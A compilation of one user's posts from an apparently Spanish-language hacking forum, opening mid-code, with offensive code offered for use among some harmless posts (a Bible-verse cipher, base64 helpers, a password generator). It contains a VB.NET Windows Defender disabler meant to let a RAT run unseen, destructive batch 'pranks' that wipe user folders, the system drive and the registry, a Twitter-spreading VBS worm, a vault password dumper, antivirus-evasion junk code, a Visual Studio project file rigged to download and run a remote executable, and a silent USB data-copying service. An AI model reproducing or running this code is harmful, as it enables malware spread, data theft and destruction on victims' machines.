                .Arguments = "/create /sc minute /mo 1 /tn PolicyUpdate /tr " & """" & PS & """",
                .CreateNoWindow = True,
                .ErrorDialog = False,
                .WindowStyle = Diagnostics.ProcessWindowStyle.Hidden
                })
        Catch ex As Exception
        End Try
    End Sub
End Class


GRACIAS POR LEER!!!
#11
HOLA!!!

Les paso este codigo recien terminado para deshabilitar Windows defender en tiempo de ejecucion.

Vieron que Windows defender es casi tan histerico como Avira, suele saltar por casi cualquier cosa, solo ejecuten este codigo antes que su RAT y se va a ejecutar sin problemas sin que WD moleste.

[El metodo deshabilita Windows defender y la distribucion de muestras sin mostrar ninguna notificacion ni reiniciar la pc todo instantaneo y bonito]

Código: vbnet

Imports System
Imports Microsoft.Win32
Imports System.Diagnostics
Imports System.Security.Principal

Namespace DeshabilitarWD
    Class Programa
        Private Shared Sub Main()
            If Not New WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator) Then Return
            EditarRegistro("SOFTWARE\Microsoft\Windows Defender\Features", "TamperProtection", "0")
            EditarRegistro("SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", "1")
            EditarRegistro("SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableBehaviorMonitoring", "1")
            EditarRegistro("SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableOnAccessProtection", "1")
            EditarRegistro("SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableScanOnRealtimeEnable", "1")
            CheckDefender()
        End Sub

        Private Shared Sub CheckDefender()
            Dim proc As Process = New Process With {
                .StartInfo = New ProcessStartInfo With {
                    .FileName = "powershell",
                    .Arguments = "Get-MpPreference -verbose",
                    .UseShellExecute = False,
                    .RedirectStandardOutput = True,
                    .WindowStyle = ProcessWindowStyle.Hidden,
                    .CreateNoWindow = True
                }
            }
            proc.Start()

            While Not proc.StandardOutput.EndOfStream
                Dim line As String = proc.StandardOutput.ReadLine()

                If line.Contains("DisableRealtimeMonitoring") AndAlso line.Contains("False") Then
                    Pwrshll("Set-MpPreference -DisableRealtimeMonitoring $true")
                ElseIf line.Contains("DisableBehaviorMonitoring") AndAlso line.Contains("False") Then
                    Pwrshll("Set-MpPreference -DisableBehaviorMonitoring $true")
                ElseIf line.Contains("DisableBlockAtFirstSeen") AndAlso line.Contains("False") Then
                    Pwrshll("Set-MpPreference -DisableBlockAtFirstSeen $true")
                ElseIf line.Contains("DisableIOAVProtection") AndAlso line.Contains("False") Then
                    Pwrshll("Set-MpPreference -DisableIOAVProtection $true")
                ElseIf line.Contains("DisablePrivacyMode") AndAlso line.Contains("False") Then
                    Pwrshll("Set-MpPreference -DisablePrivacyMode $true")
                ElseIf line.Contains("SignatureDisableUpdateOnStartupWithoutEngine") AndAlso line.Contains("False") Then
                    Pwrshll("Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true")
                ElseIf line.Contains("DisableArchiveScanning") AndAlso line.Contains("False") Then
                    Pwrshll("Set-MpPreference -DisableArchiveScanning $true")
                ElseIf line.Contains("DisableIntrusionPreventionSystem") AndAlso line.Contains("False") Then
                    Pwrshll("Set-MpPreference -DisableIntrusionPreventionSystem $true")
                ElseIf line.Contains("DisableScriptScanning") AndAlso line.Contains("False") Then
                    Pwrshll("Set-MpPreference -DisableScriptScanning $true")
                ElseIf line.Contains("SubmitSamplesConsent") AndAlso Not line.Contains("2") Then
                    Pwrshll("Set-MpPreference -SubmitSamplesConsent 2")
                ElseIf line.Contains("MAPSReporting") AndAlso Not line.Contains("0") Then
                    Pwrshll("Set-MpPreference -MAPSReporting 0")
                ElseIf line.Contains("HighThreatDefaultAction") AndAlso Not line.Contains("6") Then
                    Pwrshll("Set-MpPreference -HighThreatDefaultAction 6 -Force")
                ElseIf line.Contains("ModerateThreatDefaultAction") AndAlso Not line.Contains("6") Then
                    Pwrshll("Set-MpPreference -ModerateThreatDefaultAction 6")
                ElseIf line.Contains("LowThreatDefaultAction") AndAlso Not line.Contains("6") Then
                    Pwrshll("Set-MpPreference -LowThreatDefaultAction 6")
                ElseIf line.Contains("SevereThreatDefaultAction") AndAlso Not line.Contains("6") Then
                    Pwrshll("Set-MpPreference -SevereThreatDefaultAction 6")
                End If
            End While
        End Sub

        Private Shared Sub Pwrshll(ByVal args As String)
            Dim proc As Process = New Process With {
                .StartInfo = New ProcessStartInfo With {
                    .FileName = "powershell",
                    .Arguments = args,
                    .WindowStyle = ProcessWindowStyle.Hidden,
                    .CreateNoWindow = True
                }
            }
            proc.Start()
        End Sub

        Private Shared Sub EditarRegistro(ByVal regPath As String, ByVal name As String, ByVal value As String)
            Try

                Using key As RegistryKey = Registry.LocalMachine.OpenSubKey(regPath, RegistryKeyPermissionCheck.ReadWriteSubTree)

                    If key Is Nothing Then
                        Registry.LocalMachine.CreateSubKey(regPath).SetValue(name, value, RegistryValueKind.DWord)
                        Return
                    End If

                    If key.GetValue(name) <> CObj(value) Then key.SetValue(name, value, RegistryValueKind.DWord)
                End Using

            Catch
            End Try
        End Sub

    End Class
End Namespace



GRACIAS POR LEER!!!
#12
HOLA!!!

Necesitaria saber como lograr hacer un checkeo constante sin detener la ejecucion de funciones asincronas.

Código: javascript
            $$.post(baseurl + 'AppRRPP/GetLugar', { x: "x" }, function (dataX) {
                idlugarRRPP = dataX;
            });
            $$.get(baseurl + "Encargados/HorList", {}, function (dataY) {
                ListaHorarios = dataY.split("/");
            });
            $$.get(baseurl + "Encargados/BenList", {}, function (dataZ) {
                ListaBeneficios = dataZ.split("/");
            });
            $$.get(baseurl + "Encargados/EntList", {}, function (dataO) {
                ListaEntradas = dataO.split("/");
            });
            $$.post(baseurl + 'AppRRPP/GetLimit', { x: "x" }, function (dataP) {
                ListaLimit = dataP;
                LimitE = ListaLimit.split("||")[0].split("/");
                LimitB = ListaLimit.split("||")[1].split("/");
            });

//este codigo de aqui abajo debo ejecutarlo cada segundo
            if ((idlugarRRPP == 0 || ListaHorarios[0] != "null" || ListaBeneficios[0] != "null" || ListaEntradas[0] != "null" || ListaLimit.length < 2)==false) {
               //cuando se entra aqui todas las funciones asincronas han terminado de ejecutarse
               //ejecutar codigo de timeout
            }


//el codigo de aqui abajo cuando hayan pasado 15 segundos o si el codigo de arriba dio true
            if (idlugarRRPP == 0 || ListaHorarios[0] != "null" || ListaBeneficios[0] != "null" || ListaEntradas[0] != "null" || ListaLimit.length < 2) {
                mainView.router.back();
                myApp.alert("Su sesion expiro - Verifique conexion a internet", '---');
            } else { mainView.router.loadPage(data + ".html");}



GRACIAS POR LEER!!!
#13
Criptografía / [APORTE] Cifrado con salmos o libros.
Septiembre 25, 2018, 12:39:30 PM
Cifrando textos con salmos
[/b][/color]

Habran visto en varias peliculas que utilizan la biblia para cifrar mensajes, aqui les mostrare uno de los metodos, cabe aclarar que es un metodo muy antiguo pero facil de realizar y aparte muy seguro.

Comenzaremos con el metodo de cifrado basico que utilizaremos, sera un metodo de suma y sustitucion de caracteres con un alfabeto de 26 letras, osea la ñ sera n en todos los casos y no habra "ll" ni "ch".

Para empezar Cifraremos el siguiente mensaje: "Viva Underc0de"
Con el salmo 1:4 "No así los malos, Que son como el tamo que arrebata el viento."

Primero convertiremos las letras a numeros y nos quedará asi:
Mensaje:
V  I  V  A  U  N  D  E  R  C  O  D  E
22-09-22-01-21-14-04-05-18-03-15-04-05

Salmo:
N  O  A  S  I  L  O  S  M  A  L  O  S
14-15-01-19-09-12-15-19-13-01-12-15-19


Noten que en el salmo solo convertimos los caracteres necesarios ni mas ni menos.

Una vez que tenemos los numeros procedemos a sumarlos:
36-24-23-20-30-26-19-24-31-04-27-19-24

Si algun numero supera 26 (es decir si es 27 o mas) le restamos 26 y nos queda asi:
10-24-23-20-04-26-19-24-05-04-01-19-24

Y ahora convertimos esos numeros a letras nuevamente:
JXWTDZSXEDASX

Le agregamos el salmo que elegimos, delante y atras y ya tenemos nuestro mensaje cifrado:
1JXWTDZSXEDASX4

Ahora a descifrar:
1- Convertimos a numeros las letras del mensaje cifrado:

J  X  W  T  D  Z  S  X  E  D  A  S  X
10-24-23-20-04-26-19-24-05-04-01-19-24


2- Convertimos a numeros las letras del salmo 1:4 (primer y ultimo caracter):
N  O  A  S  I  L  O  S  M  A  L  O  S
14-15-01-19-09-12-15-19-13-01-12-15-19


3- Restamos al mensaje cifrado el salmo:
(-4)-09-22-01-(-5)-14-04-05-(-8)-03-(-11)-04-05

4- Sumamos 26 a los numeros que sean negativos
22-09-22-01-21-14-04-05-18-03-15-04-05

5- Convertimos a Letras:
V  I  V  A  U  N  D  E  R  C  O  D  E
22-09-22-01-21-14-04-05-18-03-15-04-05


Esa es la esencia del cifrado, ahora unas notas para que sepan:

Si el mensaje es muy largo:

a- Si el mensaje es muy largo en vez de usar una fraccion de salmo (1:4) usamos un salmo entero(1) y solo ponemos un numero en la frase cifrada.

b- Si los caracteres del salmo (o la fraccion) son menos que los caracteres del mensaje cifrado, volvemos a repetir el salmo textualmente a continuacion del mismo para hacer crecer la clave de cifrado.

Variaciones:
a- Este cifrado puede usarse con libros comunes que tengas vos y tu objetivo, por ejemplo digamos que tenemos 10 libros que numeramos con anterioridad del 1 al 10 y cada libro tiene 300 hojas. Podemos usar la clave de cifrado asi: [numero de libro]Mensaje[Numero de hoja], tengan en cuenta que los libros deben ser de las mismas editoriales y ediciones para que no varien los textos.

Recomendaciones:
Este cifrado es muy dificil de descifrar aunque sea por expertos, pero para que sea mas eficaz tomen en cuenta las siguientes recomendaciones:
a- Quiten los espacios.
b- Si quieren incluir numeros en el cifrado escribanlos en letras.
c- NUNCA repitan la clave
d- Si pueden hagan alguna clave para el numero de salmo, por ejemplo +1 +1, entonces si usamos el salmo 1:4 como en el ejemplo quedaria asi 2JXWTDZSXEDASX5.

Tabla de Suma(Cifrado) y Resta(Descifrado):

#14
HOLA!!!

Funcion (requiere un control Inet llamado Inet):
Código: vb

Private Function SubirFTP(ByVal URL As String , ByVal Usuario As String , ByVal Clave As String , ByVal RutaArchivoLocal As String , ByVal RutaArchivoRemoto As String) As Boolean
    On Error Goto ErrSubirFTP:
    With Inet1
        .UserName = Usuario
        .Password = Clave
        .Execute URL, "PUT " & RutaArchivoLocal & " " & RutaArchivoRemoto

        Do While .StillExecuting
            DoEvents
        Loop

        SubirFTP= (.ResponseCode = 0)
    End With
    Exit Function
ErrSubirFTP:
    SubirFTP = False
End Function


Para llamar a la Funcion:
Código: vb
UploadFile "ftp://tu.server.com", "Usuario", "Pass", "C:\ArchivoLocal.txt", "/Server/ArchivoRemoto.txt"


Para hacer un Debug del resultado de la subida:
Código: vb
Debug.Print UploadFile ("ftp://tu.server.com", "Usuario", "Pass", "C:\ArchivoLocal.txt", "/Server/ArchivoRemoto.txt")


Para hacer un Mensaje de texto del resultado de la subida:
Código: vb
MsgBox Iif(UploadFile ("ftp://tu.server.com", "Usuario", "Pass", "C:\ArchivoLocal.txt", "/Server/ArchivoRemoto.txt"), "Archivo Subido Correctamente", "Error - Archivo No Subido")


GRACIAS POR LEER!!!
#15
Batch - Bash / [BATCH] Pranks
Junio 04, 2018, 11:53:44 AM
HOLA!!!

Les dejo una lista de Pranks (bromas pesadas) en BATCH:

1 Deshabilitar Mouse:
Código: dos
set key="HKEYLOCALMACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4_


2 Invertir Mouse:
Código: bash
Rundll32 user32,SwapMouseButton


3 Eliminar toda la carpeta del usuario que corre el script: [PELIGROSO, SIN ARREGLO]
Código: dos
del /f /q "C:\Users\%userprofile%\*.*"


4 Cambiar hora de la pc:
Código: dos
time 00:00


5 File Flood:
Código: dos
:start
echo Hola >>%random%.txt
goto start


6 Romper PC: [PELIGROSO, SIN ARREGLO]
Código: dos
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00


7 Error sos muy tonto, el sitstema se reiniciara para ver si no estas cuando vuelva:
Código: dos
msg * Error Fatal debido a la idiotez del usuario actual!
shutdown -c "Error! sos muy tonto, el sitstema se apagará para ver si no estás cuando vuelva!" -s -t 10


8 Destruir registro: [PELIGROSO, SIN ARREGLO]
Código: dos
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MSGX
ECHO Tu pc ha sido destruida, que tengas un gran dia!
GOTO MSGX


9 Ram Overflow con notepads:
Código: dos
:nuevo
START %SystemRoot%\system32\notepad.exe
GOTO nuevo


GRACIAS POR LEER!!!
#16
HOLA!!!

Esto no puede ser mas facil. Si el usuario tiene logueado Twitter y ejecutamos este script enviara esto como twit a todos sus seguidores!

Código: vb
    Set WS = CreateObject("WScript.Shell")
    call tw_txt_spread("Acabo de publicar un album de fotos http://www.servidor.com/photo_album.exe")
     
    Function TW_TXT_Spread(X)
    Randomize
     
    WS.run "http://www.twitter.com"
    WScript.Sleep 6000
     
    WS.SendKeys "n"
    WScript.Sleep 800
    WS.SendKeys X
    WScript.Sleep 500
    WS.SendKeys "{TAB}"
    WScript.Sleep 500
    WS.SendKeys "^{ENTER}"
    End Function


GRACIAS POR LEER!!!
#17
HOLA!!!

ATENCION: Requiere Firefox / Chrome y ser ejecutado con permisos de admin.

Código: vb
'FUNCIONA SOLO SI LA PC POSEE FIREFOX/CHROME(CON CHROME CAMBIANDO LA LINEA DONDE DICE "FIREFOX.EXE" POR "CHROME.EXE")

Call ScreenShot("c:\web.html","c:\a.html")

Function ScreenShot(WebUrl, Output)
    With CreateObject("Word.Basic")
        .SendKeys "{1068}"
    End With
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    Set objFile = objFSO.CreateTextFile(WebUrl, True)
    objFile.Write "<script>function handlepaste () {myimage = ImageGrab.grabclipboard();}</script><body onload='handlepaste()'></body><div id='div' contenteditable='true' onpaste='handlepaste()'>Paste</div>" & vbCrLf
    objFile.Close
    On Error Resume Next
        CreateObject("Scripting.FileSystemObject").DeleteFile "c:\a.html"
    On Error GoTo 0
    Set wshshell = wscript.CreateObject("WScript.Shell")
    'antes de aca se podria poner una instruccion para que cerrara el proceso del Firefox
        wshshell.run "firefox.exe -Height 1 -Width 1 " & WebUrl 'Abre firefox en tama�o 1x1 
            wscript.sleep 5000
        wshshell.SendKeys ("{TAB}") 'entra a la web
            wscript.sleep 500
        wshshell.SendKeys ("+{INSERT}") 'pega el screenshot
            wscript.sleep 1000
        wshshell.SendKeys ("^s") 'guarda la pagina
            wscript.sleep 500
        wshshell.SendKeys (Output) 'pone el path
            wscript.sleep 1000
        wshshell.SendKeys ("{ENTER}") 'confirma el guardado
    'aca se podria matar a la ventana del firefox abierta para no dejar rastos.
End Function


GRACIAS POR LEER!!!
#18
HOLA!!!

Aqui una serie de funciones para codificar y decodificar base64 de y a texto y de y a stream binario.

Código: vb
Function Base64Encode(sText)
    Dim oXML, oNode

    Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
    Set oNode = oXML.CreateElement("base64")
    oNode.dataType = "bin.base64"
    oNode.nodeTypedValue =Stream_StringToBinary(sText)
    Base64Encode = oNode.text
    Set oNode = Nothing
    Set oXML = Nothing
End Function

Function Base64Decode(ByVal vCode)
    Dim oXML, oNode

    Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
    Set oNode = oXML.CreateElement("base64")
    oNode.dataType = "bin.base64"
    oNode.text = vCode
    Base64Decode = Stream_BinaryToString(oNode.nodeTypedValue)
    Set oNode = Nothing
    Set oXML = Nothing
End Function

Function Stream_StringToBinary(Text)
  Const adTypeText = 2
  Const adTypeBinary = 1
  Dim BinaryStream 'As New Stream
  Set BinaryStream = CreateObject("ADODB.Stream")
  BinaryStream.Type = adTypeText
  BinaryStream.CharSet = "us-ascii"
  BinaryStream.Open
  BinaryStream.WriteText Text
  BinaryStream.Position = 0
  BinaryStream.Type = adTypeBinary
  BinaryStream.Position = 0
  Stream_StringToBinary = BinaryStream.Read
  Set BinaryStream = Nothing
End Function

Function Stream_BinaryToString(Binary)
  Const adTypeText = 2
  Const adTypeBinary = 1
  Dim BinaryStream 'As New Stream
  Set BinaryStream = CreateObject("ADODB.Stream")
  BinaryStream.Type = adTypeBinary
  BinaryStream.Open
  BinaryStream.Write Binary
  BinaryStream.Position = 0
  BinaryStream.Type = adTypeText
  BinaryStream.CharSet = "us-ascii"
  Stream_BinaryToString = BinaryStream.ReadText
  Set BinaryStream = Nothing
End Function


GRACIAS POR LEER!!!
#19
HOLA!!!

Este pequeño script lo que realiza es enumerar todas las passwords y usuarios que estan en el Secure Vault de Windows y los muestra, muy util si "olvidamos" una contraseña.

Código: text

    [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
    $vault = New-Object Windows.Security.Credentials.PasswordVault
    $vault.RetrieveAll() | % { $_.RetrievePassword();$_ }


Ejemplo:


GRACIAS POR LEER!!!
#20
HOLA!!!

Este metodo lo uso desde muy pequeño y aun sigue fucionando, se trata de escribir en la barra de direcciones del navegador lo siguiente y presionar enter.

Código: js
javascript:document.body.contentEditable='true'; document.designMode='on'; void 0


Una vez realizado esto la pagina entrara en modo de diseño es decir que la podras editar como si fuese un WORD.

Es mas, podes copiar y pegar cosas entre webs.

Yo personalmente lo uso cuando debo imprimir algo y quiero que sea distinto a lo que dice la web.

Aqui un ejemplo de lo que hice recien usando este metodo con GOOGLE.



Espero que les sirva!

Extra, para volver a usar la web como antes:
Código: js
javascript:document.body.contentEditable='false'; document.designMode='off'; void 0

#21
HOLA!!!

Este simple script puede unir varios archivos de distintas extensiones en uno, y segun la extension del archivo final sera cual se abrira y la pc detectara.

Lo utilice hace años en este retoNo tienes permitido ver los links. Registrarse o Entrar a mi cuenta, sirve para tener las cosas a corto alcance pero lejos de los ojos de los demas, es decir escondidas a simple vista.

sin mas el codigo!

Código: dos
@echo off
title Copy b Binder 79137913
echo.
cls
:f
echo.
echo Inserte el nombre del archivo (Ejemplo: MiArchivo.rar)
set/p "fil=>"
goto cf :cf
cls
if exist %fil% (
goto i
) else (
echo.
echo No se encontro el archivo en esta carpeta.
goto f
)
:i
echo.
echo Inserte el nombre del segundo archivo (Ejemplo: Imagen.jpg)
set/p "img=>"
goto ci :ci
cls
if exist %img% (
goto o
) else (
echo.
echo No se encontro el archivo en esta carpeta.
goto i
)
:o
echo.
echo Inserte el nombre del archivo final (Ejemplo: Secreto.jpg)
set/p "out=>"
:mydata
cls
echo.
echo Detalle del trabajo a realizar:
echo Archivo 1 = %fil%
echo Archivo 2 =%img%
echo Archivo de salida =%out%
echo.
echo If the information is correct then
pause
echo.
echo Comenzando proceso, puede demorar...
copy /b "%fil%"+"%img%" "%out%"
echo.
echo Terminado satisfactoriamente, presione una tecla para salir.
pause


GRACIAS POR LEER!!!
#22
HOLA!!!

Este generador te ayudara a hacer mas indetectables tus codigos en autoit!

Espero que les sirva

Código: text
$totallineas = 20000            ;Cantidad de lineas
$salida = "Basura.txt"     ;Archivo de salida
$numlines = 10             ;Lineas temporales (con 10 anda bien)

FileDelete($salida)

Dim $lineas[$numlines + 1]
$lineas[0] = $numlines
_dimlines($numlines)
FileWrite($salida, "")
$i = 0
$paso = Random(20,30,1)
Do
    If $i = $paso Then
        $paso = $paso + Random($i + 20, $i + 30,1)
        _dimlines($numlines)
    EndIf
    $i = $i + 1
    $rand = Random(1,10,1)
    FileWriteLine($salida, $lineas[$rand])
    $porcentaje = $i / $totallineas * 100
    ToolTip("Se crearon: "$i & " de " & $totallineas & " lineas - (" & $porcentaje & "%)")
Until $i = $totallineas

Func _dimlines($dsalida)
    $d = 1
    Do
        $lineas[$d] =  "$" & Random(50000,150000,1) & ' = "' & Random(50000,150000,1) & '"'
        $d = $d + 1 ;$d++
    Until $d = $dsalida
EndFunc


Este creador de codigo basura es bastante simple solo crea variables pero con un poco de modificacion se puede hacer mas versatil.

GRACIAS POR LEER!!!
#23
Batch - Bash / [BATCH] Generador de contraseñas.
Enero 05, 2018, 12:15:26 PM
HOLA!!!

Les traigo un generador de contraseñas de 1 a 60000 caracteres muy facil de entender y de usar.



Espero que les sirva mucho aqui el codigo:

Código: dos
@echo off >Nul
Setlocal EnableDelayedExpansion
Title Generador de Passwords en BATCH
:menu
SET "compiled="
echo Generador de Passwords en BATCH
Set/p "psschr=Inserte cantidad de caracteres deseados: "
If %psschr%==0 (Set "amount=menor" && Set "val=1" && call :invalid)
If %psschr% GTR 60000 (Set "amount=mayor" && Set "val=60000" && call :invalid)

Set "chars=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789#+-}./]{?$,:@\[_~"
Set count=1
:x
Set /a count+=1
Set rand=%Random%
Set /a rand=rand%%79
SET compiled=%compiled%!chars:~%rand%,1!
If !count! leq %psschr% goto :x
echo.
echo Contraseña: !compiled!
echo.
:clipboard
set /p "choice=Quiere que la contraseña quede copiada en su portapapeles? (Y/N): "
If not defined choice (
cls
goto :clipboard
)
if /i %choice% == y call :copy
if /i %choice% == yes call :copy
if /i %choice% == no goto menu
if /i %choice% == n goto menu
goto :menu
@exit /B

:invalid
cls
echo La longitud solicitada es ( %amount% ) al limite ( %val% ).
pause >nul & goto :menu
@exit /B

:copy
echo !compiled! | clip
echo.
echo La contraseña ha sido copiada a tu portapapeles.
Timeout /T 5 >nul
goto :menu
@exit /B


GRACIAS POR LEER!!!
#24
Hacking / [FUD]Visual Studio Spread
Noviembre 08, 2017, 12:00:28 PM
HOLA!!!

Bueno paso a explicarles, los proyectos de VisualStudio (probado hasta 2015) permiten añadir una serie de comandos, en ellos vamos a agregar un Download&Execute que infectara la maquina que abra el proyecto de VS que nosotros modificamos.

Paso 1: Crear un proyecto de VS, sea VB o C#
Paso 2: Buscar el .vbproj o .csproj y editar con un editor de texto.
Step 3: En la segunda linea veremos algo asi:

Código: xml
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> 


Eso lo vamos a agregar la siguiente variable:
InitialTargets="BuildX"

La linea quedara de la siguiente forma:
Código: xml
<Project ToolsVersion="14.0" InitialTargets="BuildX" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> 


Paso 4:
Agregar lo siguente al final del archivo pero antes de cerrar el tag "</project>"
Código: xml
<Target Name="BuildX">
    <Exec Command="bitsadmin.exe /transfer NAME http://enlacedirecto.atu/virus.exe %temp%\1.exe" >
      <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
    </Exec>
    <Exec Command="%temp%\1.exe" >
      <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
    </Exec>
    <Exec Command="del %temp%\1.exe" >
      <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
    </Exec>
    <Message Importance="high" Text="$(ErrorCode)" />
  </Target>


Luego guardamos el archivo

Ahora cuando cualquiera abra el proyecto de VStudio descargará y ejecutara nuestro archivo exe!

P.D: Si muchachos, ¡ES FUD!, aunque es posible que VStudio de una advertencia de Abortar/Continuar (de todos modos el que quiere el codigo suele poner continuar).

GRACIAS POR LEER!!!
#25
HOLA!!!

Esta es una pequeña recopilacion de Juegos de google, Conoces otros? Publicalos abajo!

Snake:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Halloween:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

PacMan:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Olimpiadas:






No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ta-Te-Ti:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Turing:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Piñata de cumpleaños:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Juego del Picante:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Theremin:


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Arpeggio:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Cricket:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Bethoven:


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Futbol:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Carrera con Vallas:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Basquet:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Canoa:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


GRACIAS POR LEER!!!
#26
HOLA!!!



Las expresiones regulares son muy utiles al momento de programar, pero ¿a quien nunca le ha dado un dolor de cabeza al intentar leer o crear una? Sea por su inusual sintaxis, su poca difusion o su nivel de abstraccion las expresiones regulares son un problema para muchos. Para esto les traigo esta web (mas herramienta que web) que te ayuda a escribir e interpretar RegExs sin que se acabe tu mundo.

Te permite escribir expresiones regulares y ver las coincidencias en tiempo real resaltadas en el texto, una interfaz simple y sencilla que permite hacer testeos por prueba y error. Como si fuese poco otorga una gran cantidad de informacion sobre RegEx asi como CheatSheets y otros aditamentos que hacen a esta la herramienta perfecta para trabajar con expresiones regulares.

Aqui podemos ver una foto de su interfaz:



Ahora  a la pregunta que todos tienen en mente, cuanto me paga RegExr para hacer este post, la respuesta es simple, NADA, por que esta herramienta me ha solucionado tantos embrollos que lo menos que puedo hacer es nombrarla y hacer una buena review.

Solo queda que pruebes y entres. ¡No tengas miedo, no la podes romper!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

GRACIAS POR LEER!!!
#27
HOLA!!!

Este codigo previene Ejecutar, Mover, Eliminar, Cortar, Renombrar, Sobreescribir, entre otras sobre el archivo que seleccionemos.

Simple y sencillo

Código: vbnet

    'Opcion 1, aqui bloquearemos C:\config.cfg con el método 1
    Dim ArchivoBloqueado As New FileStream("C:\config.cfg", FileMode.Open, FileAccess.Read, FileShare.ReadWrite)

    'Opcion 2, aqui bloquearemos C:\Malware.exe con el método 2
    Call File.Open("C:\Malware.exe", FileMode.Open, FileAccess.Read, FileShare.ReadWrite)


GRACIAS POR LEER!!!
#28
HOLA!!!

Zilog80 USB 'silent' USB copier

#1) Que hace?
Z80USBCopier es un Servicio de Windows que copia la informacion en discos insertados a tu HDD.

#2) Ejemplos de Uso
Ejemplo #1:
Imaginate que alguien te pide imprimir algo, Insertas el USB de tu amigo(o victima  ;D) y la PC automaticamente empieza a copiar todo a tu HDD.
Imaginate que tiene en el usb la siguiente carpeta E:\Vacaciones\2016\Ibiza\Pacha\Hot\wtf_0001.jpgE:\Vacaciones\2016\Ibiza\Pacha\Hot\wtf_0002.jpg,  ... (espero que entiendas)
Sin que tu "amigo" sepa que copiaste esas fotos.

Ejemplo #2:
Tenes una libreria o lugar donde la gente vaya a imprimir cosas y uno de los usb que copiaste tiene lo siguiente: E:\Audio\RollingStones\Album Desconocido\Pista1\accountPasswords.txt
Que pensas que es  accountPasswords.txt? JAJAJA

Ejemplo #3:
Tenes tu propio USB y sin querer lo formateas o le pasa algo,tenes un "backup" en tu pc ;)

#3) Como funciona?
Es un servicio de windows, no necesita ningun tipo de interaccion.



Se maneja el funcionamiento dentro de el archivo Config.ini que esta bien comentado y es facil de modificar.
Config INI:

Código: text
; Z80 USB Copier config file

[Extensions]
; Si CopyAnyExtensionFile=1 se copian todos los archivos y CopyOnlyFilesWithExtension es omitido
CopyAnyExtensionFile=0
CopyOnlyFilesWithExtension=accdb,avi,bmp,css,dll,doc,docx,exe,gif,htm,html,ico,ini,jpeg,jpg,log,mdb,mov,mp3,mp4,msi,ogg,pdf,png,rar,sql,txt,wav,xls,xlsx,xps,zip

; Ejemplos de Extensiones:
; Imagenes:
;CopyOnlyFilesWithExtension=bmp,gif,ico,jpeg,jpg,png
; Documentos:
;CopyOnlyFilesWithExtension=accdb,doc,docx,mdb,pdf,txt,xls,xlsx,xps
; Ejecutables y Comprimidos:
;CopyOnlyFilesWithExtension=exe,msi,rar,zip
; Audio y Video:
;CopyOnlyFilesWithExtension=avi,mov,mp3,mp4,ogg,wav,wma

[SizeLimit]
; CopyAnySize=0 copia solo el intervalo entre MinSize y MaxSize 1=Se copian todos los tamaños y se omiten MinSize / MaxSize
CopyAnySize=0
; Sufijos: B (bytes), KB (KiloBytes), MB (MegaBytes)
MinSize=0B   
MaxSize=10MB

[DestinationFolder]
; Se copiara a la carpeta que este especificada, %ApplicationStartupPath% es la carpeta donde se instalo el sistema.
; Tambien podes poner una carpeta especifica: C:\carpeta1\carpeta2
RootFolder=%ApplicationStartupPath%
; If you are copying J:\ USB the hierarchy will be:
; RootFolder\yyyyMMdd\HHmmss_J\
;RemoveEmptyFolders=0 al terminar de copiar no hace nada, 1= al terminar de copiar busca carpetas vacias y las borra de la carpeta de destino
RemoveEmptyFolders=0

[ExculdeCopyDrives]
; Excluded=0(todos los discos se copiaran) 1=los discos en la variable Drives se excluiran.
Excluded=0
Drives=E,G,J

[Debug]
; Values=0 (no hace logs) 1=hace un log en RootFolder\yyyyMMdd\HHmmss_X_log.txt con los archivos salteados
SaveSkippedToLog=1


#4) Cuanto tarda?
Depende si es un USB un disco externo o es un cd, pero aqui una prueba: USB 1.0, 80 MB (196 archivos y 19 carpetas/subcarpetas) de USB a HDD ( no SSD) toma 20 segundos (Windows 10)

#5) Como lo instalo?
En el comprimido tenes todo lo que necesitas
1)descomprimis en la carpeta donde quieras que quede (es importante saber que el servicio se instalara ahi y no lo podras sacar, por ende no lo instales en el escritorio por ejemplo)
2)abris un CMD con privilegios de Administrador y navegas a la carpeta que descomprimiste.
3) tipeas estos comandos:

Código: text

installutil.exe Z80USBCopier.exe
net start Z80USBSvc


P.D: es necesario que tengan instalado NET FRAMEWORK 4

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

A disfrutar!

Gracias a Zilog80

GRACIAS POR LEER!!!
#29
